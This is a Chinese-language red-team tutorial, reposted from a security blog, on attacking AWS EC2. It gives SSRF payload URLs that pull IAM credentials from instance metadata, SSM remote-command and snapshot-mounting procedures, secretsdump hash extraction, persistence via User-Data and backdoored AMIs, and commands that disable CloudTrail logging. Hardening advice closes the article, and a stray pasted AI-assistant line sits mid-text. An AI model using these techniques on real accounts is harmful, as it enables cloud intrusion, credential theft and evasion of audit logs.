2026-01-14 23:41:27 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文详解AWSEC2攻击技术，重点讲解利用IMDS结合SSRF窃取IAM凭证及SSM无文件横向移动。涵盖快照挂载窃取数据、IAM提权及User-Data后门维持，对比IMDSv1与v2防御差异。防御建议强制开启IMDSv2、最小权限原则及加强监控。 综合评分： 90 文章分类： 云安全,红队,内网渗透,渗透测试

cover_image

【云安全专题-5】利用 EC2 进行攻击与横向移动

原创

Ca1m

FunnyHacking

2026年1月14日 07:01 上海

【云安全专题-5】利用 EC2 进行攻击与横向移动

🕵️‍♂️ 前言

在云安全攻防中，拿下 WebShell 往往只是开始。对于一名攻击者而言，真正的“金矿”不在于服务器本地的文件，而在于这台服务器在云环境中的身份。

EC2（Elastic Compute Cloud）作为云上最基础的计算单元，不仅承载着业务代码，更通过 IMDS（实例元数据服务） 与整个云控制面紧密相连。一旦 EC2 的防线失守，攻击者往往能以此为跳板，通过“元数据”窃取云端凭证，实现从 Host（主机层） 到 Cloud（云控制层） 的跨维打击。

本章将从 EC2 的基础架构出发，深度解构背后的攻防逻辑。

一 EC2 基础架构扫盲：不仅是虚拟机

在谈论攻击之前，我们必须先理解 EC2 在云安全架构中的三个核心概念，这是理解后续攻击链的基石。

1. 实例配置文件 (Instance Profile) 与 IAM 角色

这是 EC2 安全的核心。

• 传统 VPS：你需要把 Access Key 写在配置文件里才能访问 S3。
• EC2：AWS 设计了 IAM Role（角色）。你可以给 EC2 绑定一个角色（例如 WebServer-Role）。
• 机制：EC2 启动后，云厂商会自动将该角色的临时凭证 (STS Token) 注入到 EC2 的元数据服务中。
• 安全隐患：谁控制了这台 EC2（或者能通过 SSRF 访问元数据），谁就拥有了这个角色的权限。

2. 安全组 (Security Group)

• 这是 EC2 的虚拟防火墙，工作在网卡层面。
• 它控制进出流量（Inbound/Outbound）。但请注意，安全组通常无法阻止 EC2 访问 169.254.169.254，因为这是链路本地地址，不经过常规网络路由。

3. 用户数据 (User Data)

• 这是 EC2 首次启动时自动运行的脚本（Cloud-init）。
• 运维人员通常在这里写 Shell 脚本来安装软件、配置环境。
• 安全隐患：为了省事，运维常在此处硬编码数据库密码、Git Token 或第三方 API Key。

二 EC2 攻击面分析

除了专属于云服务器的元数据服务攻击，EC2本质上是一个主机服务器，所以攻击面自然也包括主机服务器存在的安全问题。

1. EC2 所面临的风险

• 凭证泄露：云场景下的凭证泄露可以分成以下几种：

对于这类凭证信息的收集，一般可以通过以下几种方法进行收集：
• Github 敏感信息搜索
• 反编译目标 APK、小程序
• 目标网站源代码泄露
• 控制台账号密码泄露，例如登录控制台的账号密码
• 临时凭证泄露
• 访问密钥泄露，即 AccessKeyId、SecretAccessKey 泄露
• 实例登录凭证泄露，例如 AWS 在创建 EC2 生成的证书文件遭到泄露
• 控制台漏洞：例如 AWS 的控制台曾经出现过一些 XSS 漏洞，攻击者就可能会使用这些 XSS 漏洞进行账号劫持，从而获得目标云服务器实例的权限
• 恶意的镜像：AWS 在创建实例的时候，用户可以选择使用公共镜像或者自定义镜像，如果这些镜像中有恶意的镜像，那么目标使用该镜像创建实例就会产生风险。以 CVE-2018-15869 为例，关于该漏洞的解释是：当人们通过 AWS 命令行使用「ec2 describe-images」功能时如果没有指定 –owners 参数，可能会在无意中加载恶意的 Amazon 系统镜像 ( AMI），导致 EC2 被用来挖矿。对此，在使用 AWS 命令行时应该确保自己使用的是不是最新版的 AWS 命令行，同时确保从可信的来源去获取 Amazon 系统镜像
• 其他的初始访问方法：除了以上云场景下的方法外，还可以通过云服务上的应用程序漏洞、SSH 与 RDP 的弱密码等传统场景下的方法进入目标实例。

2. 使用用户数据执行命令

在创建云服务器时，用户可以通过指定自定义数据，进行配置实例，当云服务器启动时，自定义数据将以文本的方式传递到云服务器中，并执行该文本，而且文本里的命令默认以 root 权限执行。通过这一功能，攻击者可以修改实例的用户数据并向其中写入待执行的命令，这些代码将会在实例每次启动时自动执行。

在控制台界面可以直接编辑实例的用户数据。在 AWS 下，修改用户数据需要停止实例，在 AWS 下停止实例会擦除实例存储卷上的所有数据，如果没设置弹性 IP，实例的公有 IP 也会变化，因此停止实例需谨慎。

修改用户数据的位置在：操作-> 实例设置->编辑用户数据。

除了在控制台上操作的方式外，也可以使用 aws cli 操作。

aws ec2 run-instances --image-id ami-abcd1234 --count 1 --instance-type m3.medium \
--key-name my-key-pair --subnet-id subnet-abcd1234 --security-group-ids sg-abcd1234 \
--user-data file://my_script.txt

3. EC2 下的权限维持

用户数据

在上面描述到用户数据的时候，可以很容易发现用户数据可以被用来做权限维持，只需要将要执行的命令改成反弹 Shell 的命令即可。但是也许目标可能很长时间都不会重启实例，而且用户数据也只有实例停止时才能修改，因此还是传统的权限维持方式会更具有优势些，这样来看使用用户数据进行权限维持显得就有些鸡肋了。

后门镜像

当攻击者获取到控制台权限后，可以看看目标的 AMI（Amazon 系统镜像），如果可以对其进行修改或者删除、创建的话，RT 就可以将原来的镜像替换成存在后门的镜像。这样当下次目标用户在选用该镜像创建实例的时候，就会触发我们在镜像中植入的恶意代码了

创建访问密钥

如果当前环境可以创建新的访问密钥，则可以在 IAM 中创建访问密钥进行权限维持。

创建辅助账号

除了以上的权限维持方法，还可以通过在 IAM 中创建高权限子账号的方式进行权限维持，然后通过这个子账号进行后续的持续攻击行为。

其他的权限维持方法

除了上述方法外，还可以通过在实例中添加隐藏用户、安装远控软件等等传统方法进行权限维持。

4. 获取共享快照内的数据

如果当前凭证具有 EC2:CreateSnapshot 权限的话，可以通过创建共享快照的方式，然后将自己 aws 控制台下的实例挂载由该快照生成的卷，从而获取到目标 EC2 中的内容。

公有快照

找一个快照，点击创建卷，卷的大小需要大于或等于快照大小，这里创建一个 20G 大小的卷，另外可用区需要和自己的 EC2 保持一致，最后快照 ID 指定刚才随便找的快照。然后在EC2-卷-挂载卷中将刚创建的卷挂载到自己的实例中。登录到自己的实例，查看刚才添加卷的名称，然后将这个卷挂载到实例中，通过 ls 就可以看到这个公有快照中的数据了。

sudo mkdir /test
sudo mount /dev/xvdf3 /test
sudo ls /test

私有快照

在拿到目标 AWS 控制台权限时，如果无法登录到实例，可以为目标实例打个快照，然后将快照共享给自己。在EC2-快照-xx快照-修改权限，在共享账号中添加自己的AWS账户ID。将自己的账号 ID 添加到快照共享后，在自己的 AWS 快照控制台的私有快照处就能看到目标快照了，此时就可以将其挂载到自己的实例，查看里面的数据了。

• 自动化工具CloudCopy 可以通过提供的访问凭证自动实现创建实例快照、自动挂载快照等操作。

  https://github.com/Static-Flow/CloudCopy.git

5. EC2 子域名接管

存在这个漏洞的前提是目标的 AWS EC2 没有配置弹性 IP，此时如果目标子域 CNAME 配置了该公有 IPv4 DNS 地址或者 A 记录配置了公有 IPv4 IP 地址，那么当该 EC2 被关机或者销毁时，该实例的公有 IP 也会随之释放，此时这个 IP 就会被分配给新的 EC2 实例，造成子域名接管。

如果子域名要绑定 EC2，建议为 EC2 绑定弹性 IP，这样即使实例重启，IP 也不会变，避免自己的域名绑到了其他人的 EC2 的尴尬场景。这个问题影响不算太大，毕竟攻击者想劫持到这个域名的成本还是蛮高的，除非碰巧就分配到了那个IP。

6. 利用 AWS CLI 滥用 SSM 执行无文件命令

场景背景：当攻击者拿到一组 AK/SK 后，发现目标 EC2 并没有开放 22 端口（SSH），或者不知道 SSH 密码，该怎么办？只要目标实例安装了 SSM Agent（Amazon Linux 2 默认预装）且绑定了相应的 IAM 角色，攻击者就可以通过 AWS CLI 调用 Systems Manager 接口，像使用“云端木马”一样远程执行系统命令。

寻找猎物：锁定受管实例

首先，我们需要知道哪些实例是在 SSM 的管理之下的（即 Agent 在线）。比起通用的 ec2 describe-instances，使用 ssm 专属命令探测更精准。

# 列出所有在线且受 SSM 管理的实例 ID 和系统信息
aws ssm describe-instance-information \
&nbsp; &nbsp; --query&nbsp;"InstanceInformationList[*].[InstanceId,ComputerName,PingStatus]"&nbsp;\
&nbsp; &nbsp; --output table

📝 注：记下输出结果中的 InstanceId（例如 i-0xxxxxxx），这是我们后续攻击的目标 ID。

发起攻击：投递恶意指令

使用 send-command 接口，利用 AWS 内置的 AWS-RunShellScript 文档，向目标发送 Shell 命令（如 ifconfig 或反弹 Shell 脚本）。

# 向目标实例发送 ifconfig 命令
aws ssm send-command \
&nbsp; &nbsp; --instance-ids&nbsp;"i-0xxxxxxx"&nbsp;\
&nbsp; &nbsp; --document-name&nbsp;"AWS-RunShellScript"&nbsp;\
&nbsp; &nbsp; --parameters&nbsp;'commands=["ifconfig","whoami"]'&nbsp;\
&nbsp; &nbsp; --output json

关键点：执行上述命令后，AWS 会返回一段 JSON 数据。你需要立刻记录下其中的 CommandId 字段（例如 5942624d-xxxx-xxxx...）。

• 这就好比你寄了一封挂号信，CommandId 就是你的快递单号，后续要用它来查收对方的回信。

获取回显：查看执行结果

SSM 的命令执行是异步的。我们需要拿着刚才的“快递单号”（CommandId）去查询命令的输出结果。

# 将下面的 <Command-ID> 替换为上一步获取的 ID
aws ssm list-command-invocations \
&nbsp; &nbsp; --command-id&nbsp;"5942624d-xxxx-xxxx-xxxx-xxxxxxxxxxxx"&nbsp;\
&nbsp; &nbsp; --details \
&nbsp; &nbsp; --query&nbsp;"CommandInvocations[].CommandPlugins[].Output"&nbsp;\
&nbsp; &nbsp; --output text

此时，终端上就会直接显示目标主机 ifconfig 的运行结果。

7. Windows 离线凭证提取

假设我们控制了某云厂商账号，目标是一台 Windows Server，我们无法登录。

Step 1: 创建快照 (Snapshot) 在控制台找到目标实例的系统盘，点击“创建快照”。

💡 OpSec 提示：为了保证数据一致性，理论上最好停止实例再快照。但在红队实战中，为了不引起业务中断报警，通常选择在线热备份。

Step 2: 创建云硬盘 (Create Volume) 利用刚刚生成的快照，创建一个新的云硬盘。

Step 3: 启动攻击机并挂载 (关键！) 这是新手最容易翻车的地方：在创建新的攻击实例时，必须选择与云硬盘相同的“可用区 (Availability Zone)”！

• 原因：云硬盘是物理隔离的，Zone A 的硬盘无法插到 Zone B 的服务器上。

将创建好的云硬盘，挂载到攻击实例上。

Step 4: 离线提取 Hash RDP 登录我们的攻击实例，打开“磁盘管理”，将挂载进来的磁盘联机。此时，目标机器的 C 盘就变成了我们攻击机上的 D: 盘（假设盘符为 D）。

我们需要提取以下三个关键注册表文件：

• D:\Windows\System32\config\SAM (存储用户密码 Hash)
• D:\Windows\System32\config\SYSTEM (存储解密 Key)
• D:\Windows\System32\config\SECURITY (存储 LSA 秘密信息)

Step 5: 破解与登录 使用工具（如 secretsdump 或 impacket）读取这些文件：

# 离线导出 Hash
.\secretsdump.exe&nbsp;-sam&nbsp;SAM&nbsp;-security&nbsp;SECURITY&nbsp;-system&nbsp;SYSTEM LOCAL

输出结果中将直接包含 Administrator 的 NTLM Hash，甚至是明文密码（如果配置不当）。此时，利用 Hash 传递（PtH）或直接使用解密后的密码，即可通过 RDP 拿下目标。

8.Linux挂载磁盘

对于 Linux 实例，挂载磁盘后的杀伤力比 Windows 更大，我们不仅能“读”，还能直接“写”：

1. 植入 SSH 公钥 (最推荐)：

• 直接写入 D:\root\.ssh\authorized_keys (挂载后的路径)，将攻击者的公钥追加进去。
• 结果：无需知道密码，直接 ssh root@target-ip 即可登录，拥有最高权限。

2. 修改 Shadow 文件：

• 编辑 /etc/shadow 文件，将 root 的密码哈希替换为我们已知密码的哈希。

3. 植入后门/反弹 Shell：

• 在 /etc/cron.d/ 下写入一个计划任务，或者修改 /etc/rc.local，让机器重启后自动反弹 Shell。

结论：对于 Linux，只要能挂载磁盘，就等于拥有了 Root 权限。

关于工具化：手动操作确实繁琐。在 AWS 场景下，工具 CloudCopy 已经实现了全自动化：它会自动快照、自动起机器、自动挂载、自动 dump 域控的 ntds.dit 并传回结果，最后自动销毁痕迹。

关于防御：这种攻击利用的是云的基础特性（快照和挂载），很难完全禁用。防御侧重点在于审计：

• 监控 CloudTrail/操作日志：关注异常的 CreateSnapshot（创建快照）和 AttachVolume（挂载磁盘）事件，特别是针对核心生产服务器的操作。

三深入解构 IMDS

IMDS (Instance Metadata Service) 是云厂商提供给 EC2 实例用于查询自身信息的服务。

• 访问地址：http://169.254.169.254 (IPv4)
• 特性：无需认证，只要请求源是 EC2 本身（或通过 SSRF 伪造），服务器就会响应。

IMDS 目录结构全解析 (以 AWS 为例)

攻击者访问 http://169.254.169.254/latest/meta-data/ 后，会看到以下高价值目录：

核心漏洞原理：SSRF + IMDS

EC2 本身通常没有直接对外暴露 IMDS 的端口。攻击的核心在于 Web 应用层存在的 SSRF (服务端请求伪造) 漏洞。

1. 什么是 SSRF？

服务器端接受了用户输入的 URL，并代表用户去访问这个 URL。如果未对内网 IP 做过滤，攻击者就可以让服务器去访问 127.0.0.1 或 169.254.169.254。

2. 经典攻击链复现 (IMDSv1)

假设目标 Web 应用存在一个图片抓取功能： GET /image_download?url=...

第一阶段：信息侦察

攻击者尝试读取主机名，确认是否在云环境：

GET /image_download?url=http://169.254.169.254/latest/meta-data/hostname

返回：ip-172-31-0-1.ec2.internal 结论：确认目标是 AWS EC2 实例，且存在 SSRF。

第二阶段：挖掘 User-Data (静态凭证)

攻击者尝试读取启动脚本，寻找硬编码秘密：

GET /image_download?url=http://169.254.169.254/latest/user-data

返回： #!/bin/bash export DB_PASSWORD="SuperSecretPassword123!" aws s3 cp s3://backup-bucket/source.zip . 结论：获取了数据库密码和源码桶地址。

第三阶段：窃取 IAM 角色 (动态凭证) —— 致命一击

1. 查询角色名： .../url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

返回：Prod-WebServer-Role

2. 提取凭证 JSON： .../url=http://169.254.169.254/latest/meta-data/iam/security-credentials/Prod-WebServer-Role 返回：

   {
   &nbsp;&nbsp;"Code":"Success",
   "LastUpdated":"2023-10-24T...",
   "Type":"AWS-HMAC",
   "AccessKeyId":"ASIA...",
   "SecretAccessKey":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
   "Token":"IQoJb3JpZ2luX2VjE...",
   "Expiration":"2023-10-24T..."
   }

第四阶段：利用与接管

攻击者将上述 AK/SK/Token 复制到本地环境配置，直接接管该 EC2 所拥有的权限。如果该角色拥有 S3:PutObject 或 EC2:CreateUser 权限，攻击者即可进行勒索或留后门。

进阶对抗：IMDSv1 vs IMDSv2

由于 IMDSv1 极其脆弱，AWS 推出了 IMDSv2。这是攻防博弈的分水岭。

1. IMDSv1 (不安全)

• 机制：简单的 Request/Response 模型。
• 弱点：只要能发 GET 请求就能利用，完全无法防御 SSRF。

2. IMDSv2 (安全加强)

• 机制：引入了 Session Token (会话令牌)。必须分两步走：

1. PUT 请求拿 Token：必须发送 PUT 请求到 /latest/api/token，并带上 TTL 头。
2. 带 Token 访问数据：后续请求必须在 Header 中带上 X-aws-ec2-metadata-token。

# IMDSv2 请求示例
# Step 1
TOKEN=`curl -X PUT&nbsp;"http://169.254.169.254/latest/api/token"&nbsp;-H&nbsp;"X-aws-ec2-metadata-token-ttl-seconds: 21600"`
# Step 2
curl -H&nbsp;"X-aws-ec2-metadata-token:&nbsp;$TOKEN"&nbsp;http://169.254.169.254/latest/meta-data/iam/security-credentials/

3. 为什么 v2 能防御 SSRF？

绝大多数 Web 应用的 SSRF 漏洞（如 ?url=）只能控制 URL，无法控制 HTTP 请求方法（强制 GET），也无法添加自定义 Header。因此，IMDSv2 完美阻断了普通的 SSRF 攻击。

4. 这里的攻击面还存在吗？

存在，但门槛变高了：

• RCE 漏洞：如果攻击者已经拿到了 Shell（命令执行），可以直接运行 curl 命令，v2 无法防御 RCE。
• 支持 Header 注入的 SSRF：极少数 SSRF 漏洞允许控制 CRLF 注入 Header，可能绕过。
• 误配置：管理员虽然开启了 v2，但为了兼容旧代码，设置了 “Optional”（可选）而非 “Required”（强制）。此时 v1 依然可用。

横向测评：国内云厂商的“方言”

红队在实战中，需要根据目标云厂商调整 Payload。

这是一个非常核心的实战部分。这三个章节是将“单点突破”转化为“全面沦陷”的关键步骤。

我为你撰写了详细的内容，重点突出了**云原生（Cloud Native）**特有的攻击手法（如 PassRole、SSM），区别于传统的内网渗透。

四权限提升与防御绕过

当你拿到了一台 EC2 的控制权（Shell）或其 IAM 凭证后，通常权限是受限的。攻击者的首要目标是将“普通用户”变为“管理员”，同时隐藏踪迹。还有传统场景下的一些提升方法，例如通过实例的内核漏洞进行提权、通过实例上的服务漏洞进行提权等等，此处不再多聊这个。

1. 利用 IAM 逻辑漏洞提权

云上的提权往往不是靠系统内核漏洞（DirtyCow 等），而是靠 IAM 策略配置不当。

• 角色传递 (iam:PassRole) + 新建实例
• 原理：这是云上最经典的提权手法。如果当前受控实例拥有 ec2:RunInstances（创建实例）和 iam:PassRole（传递角色）权限。
• 攻击：攻击者可以创建一个新的 EC2 实例，并在创建时给这个新实例绑定一个高权限的角色（例如 AdministratorAccess 的角色）。
• 结果：一旦新实例启动，攻击者登录上去，就直接继承了管理员权限。
• 一句白话：我虽然不是皇帝，但我有权任命一个新的皇帝，然后我再去当那个新皇帝。
• 策略自身修改 (Self-Granting)
• 原理：如果当前角色拥有 iam:PutUserPolicy 或 iam:AttachUserPolicy 权限。
• 攻击：直接调用 API 给自己（当前角色）绑定 AdministratorAccess 策略。

2. User-Data 注入提权

• 原理：如果攻击者拥有 ec2:StopInstances 和 ec2:ModifyInstanceAttribute 权限。
• 攻击：

1. 停止目标实例。
2. 修改该实例的 User-Data（启动脚本），植入反弹 Shell 命令或添加 Root 账号。
3. 重启实例。
4. 实例启动时自动执行恶意脚本，攻击者获得最高系统权限。

3. 防御绕过与痕迹清除

• 对抗 CloudTrail：
• 攻击者为了不被审计，可能会尝试停止日志记录：aws cloudtrail stop-logging --name <TrailName>。
• 或者利用 S3 生命周期策略，让存储日志的 Bucket 快速删除数据。
• 在监控区域外攻击：上面这种停止或者删除的操作会触发告警，因此可以通过配置禁用多区域日志记录功能，并在监控区域外进行攻击，这样就监控不到了。

  aws cloudtrail update-trail --name [my-trail] --no-is-multi-region-trail --no-include-global-service-events

在 AWS 中可以通过以下命令查看 Cloudtrail 的监控范围，这样我们就可以通过攻击监控范围外的主机，以避免触发告警。

  aws cloudtrail describe-trails

例如主区域为 ap-northeast-2，而 IsMultiRegionTrail 多区域跟踪是关闭的，也就是说当前这个 Trail 只会记录 ap-northeast-2 区域内的事件。

• 混淆 User-Agent：
• 许多防御系统会检测异常的 User-Agent（如 Python 脚本默认 UA）。攻击者在使用 CLI 或脚本时，会将 UA 伪装成正常的 aws-cli/1.18 或浏览器标识，以绕过简单的规则检测。
• 利用 VPC Endpoints 隐蔽通信：
• 通过 VPC Endpoints（私网连接）访问 S3 或 DynamoDB，流量完全在 AWS 内网传输，不会经过公网防火墙，从而绕过部分流量监控。

五横向信息收集

在云环境中，扫描内网（Nmap）往往动静太大容易被封。高明的攻击者会“就地取材”，利用云原生功能进行探测。

1. 元数据 (Metadata) 深度挖掘

再次利用 169.254.169.254，这次我们不找凭证，找网络拓扑。

• 获取内网网段：查询 network/interfaces/macs/ 可以获取当前 VPC 的子网掩码、网关 IP。
• 获取安全组规则：查询 security-groups，了解当前机器被允许访问哪些端口，反推内网其他服务的开放情况。
• 获取 User-Data：查询 user-data，这里面经常包含其他服务的连接字符串（如内网 RDS 的地址、Redis 的密码、第三方 API Key）。

2. 云 API 资产枚举 (Cloud API Enumeration)

利用拿到的 IAM 凭证，查询云端视角的资产列表。这比 Nmap 扫描快得多，也准得多。

• 主机发现：aws ec2 describe-instances —— 直接列出内网所有主机的 IP、主机名、运行状态。
• 网络发现：aws ec2 describe-security-groups —— 列出所有防火墙规则，分析出哪些机器开放了 22/3389/80 端口。
• 存储发现：aws s3 list-buckets —— 查看有多少存储桶，寻找敏感数据。
• 网段信息：通过控制台看到目标的网段情况或者通过命令行获取目标子网信息。

  aws ec2 describe-subnets --query 'Subnets[].CidrBlock'

3. 本地配置文件搜刮

Linux/Windows 机器本身就是信息的宝库。

• AWS CLI 配置：检查 ~/.aws/credentials 和 ~/.aws/config，开发人员经常为了方便，在机器上配置了其他账号的长期 AK/SK。
• 历史命令：检查 ~/.bash_history，寻找 aws s3 cp 或 mysql -h 等连接命令，提取内网资源地址。
• Terraform/IaC 文件：如果这台机器是运维机，里面可能存有 main.tf 或 terraform.tfstate，这些文件中包含了整个云环境的架构图甚至明文密码。
• 用户数据：在获取到目标实例的权限后，在 /var/lib/cloud/instances/instance-id/ 目录下可以看到当前实例的用户数据

六横向移动 (Lateral Movement)

从一台 EC2 跳到另一台 EC2，或者从 EC2 跳到其他云服务。

1. 利用 SSM 实现无文件横向 (Cloud Native)

这是现代云攻防中最核心的横向手段，完全绕过 SSH 和 RDP。

• 前提：拿到的 IAM 角色拥有 ssm:SendCommand 权限，且目标机器安装了 SSM Agent（Amazon Linux 2/Ubuntu 默认预装）。
• 手法：
• 通过 aws ssm describe-instance-information 获取内网所有受管实例 ID。
• 通过 aws ssm send-command 向目标实例批量下发 Shell 命令（如 ifconfig、whoami 或反弹 Shell）。
• 优势：无需知道目标机器密码，无需目标开放 22 端口，流量走 AWS 内部通道，极难被传统防火墙发现。

2. 传统 SSH 密钥劫持

• 场景：很多云环境为了管理方便，会在多台机器上共用同一个 .pem 私钥。
• 手法：
• 在受控机器上查找 id_rsa、xxx.pem 文件。
• 尝试使用该密钥登录内网扫描发现的其他 Linux 主机：ssh -i key.pem [email protected]。
• SSH Agent Forwarding 劫持：如果管理员开启了 SSH 代理转发登录了当前机器，攻击者可以劫持 /tmp/ssh-xxxx/agent.socket，直接利用管理员本地的密钥登录内网其他机器。

3. 滥用快照与镜像 (AMI)

• 手法：
• 攻击者利用权限，为一个正常的系统盘制作恶意快照（植入后门）。
• 将该快照共享或注册为公共 AMI。
• 等待运维人员使用该被污染的镜像/快照恢复系统或创建新实例，新实例启动即上线。

4. 跨服务横向 (EC2 -> RDS/S3)

横向移动不仅仅是主机到主机，更多是主机到数据。

• 利用 EC2 上的 IAM 凭证，通过 aws rds generate-db-auth-token 生成 RDS 登录令牌，直接横向移动到数据库进行脱库。
• 利用 EC2 访问 S3 存储桶，下载敏感文件或篡改静态资源（水坑攻击）。

5.控制台

当攻击者拿到目标 AWS 控制台权限后，就可以通过控制台上的实例连接功能进行内网横向移动。

七全面防御指南：如何加固 EC2？

作为安全负责人，应从以下四个层面构建纵深防御：

1. 配置层：强制开启 IMDSv2

不要留有余地，直接物理隔绝 v1 的风险。

• 强制 Token：将实例元数据选项设为 V2 only (token required)。
• 防止逃逸：将 Hop limit 设为 1，防止容器环境下的攻击者通过网桥访问宿主机元数据。

2. 权限层：死守“最小权限原则”

这是最后的防线。即便 Token 泄露，权限不够也翻不起大浪。

• ❌ 禁止：给业务机器绑定 AdministratorAccess 或 S3:FullAccess 等过大权限。
• ✅ 建议：精准授权。只给必要的 Action（如 s3:PutObject）和特定的 Resource（如指定 Bucket）。

3. 网络层：防火墙直接阻断

如果业务代码完全不需要访问元数据，直接在操作系统层面屏蔽它。

• Linux：利用 iptables 丢弃发往 169.254.169.254 的出站流量。
• Windows：使用高级防火墙配置出站规则阻断该 IP。

4. 监控审计层：GuardDuty + 日志

• 威胁检测：启用 AWS GuardDuty。一旦检测到 EC2 的临时凭证在异地（非本机 IP）被使用，它会立即报警（这是凭证泄露的最强特征）。
• 日志溯源：开启 CloudTrail 和系统审计日志，定期排查异常 API 调用，确保事后可追溯。

八结语

EC2 元数据服务（IMDS）既是自动化的利器，也是通往核心权限的后门。Capital One 的教训告诉我们：云安全的核心已从边界防御转向身份防御。 守住 169.254.169.254，就是守住了云主机的“灵魂”。

当然，传统的 Web 漏洞、弱口令、钓鱼等攻击手法在云上依然有效，它们往往是触发 SSRF 或获取 Shell 的前置条件。

对于开发和运维人员而言，记住一句话：默认配置 ≠ 安全配置。具备正确的安全配置意识，就能规避 90% 的云安全风险。

👉 下一章预告：云上数据金库的“玻璃门”——RDS 云数据库攻防实战

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：FunnyHacking Ca1m《【云安全专题-5】利用 EC2 进行攻击与横向移动》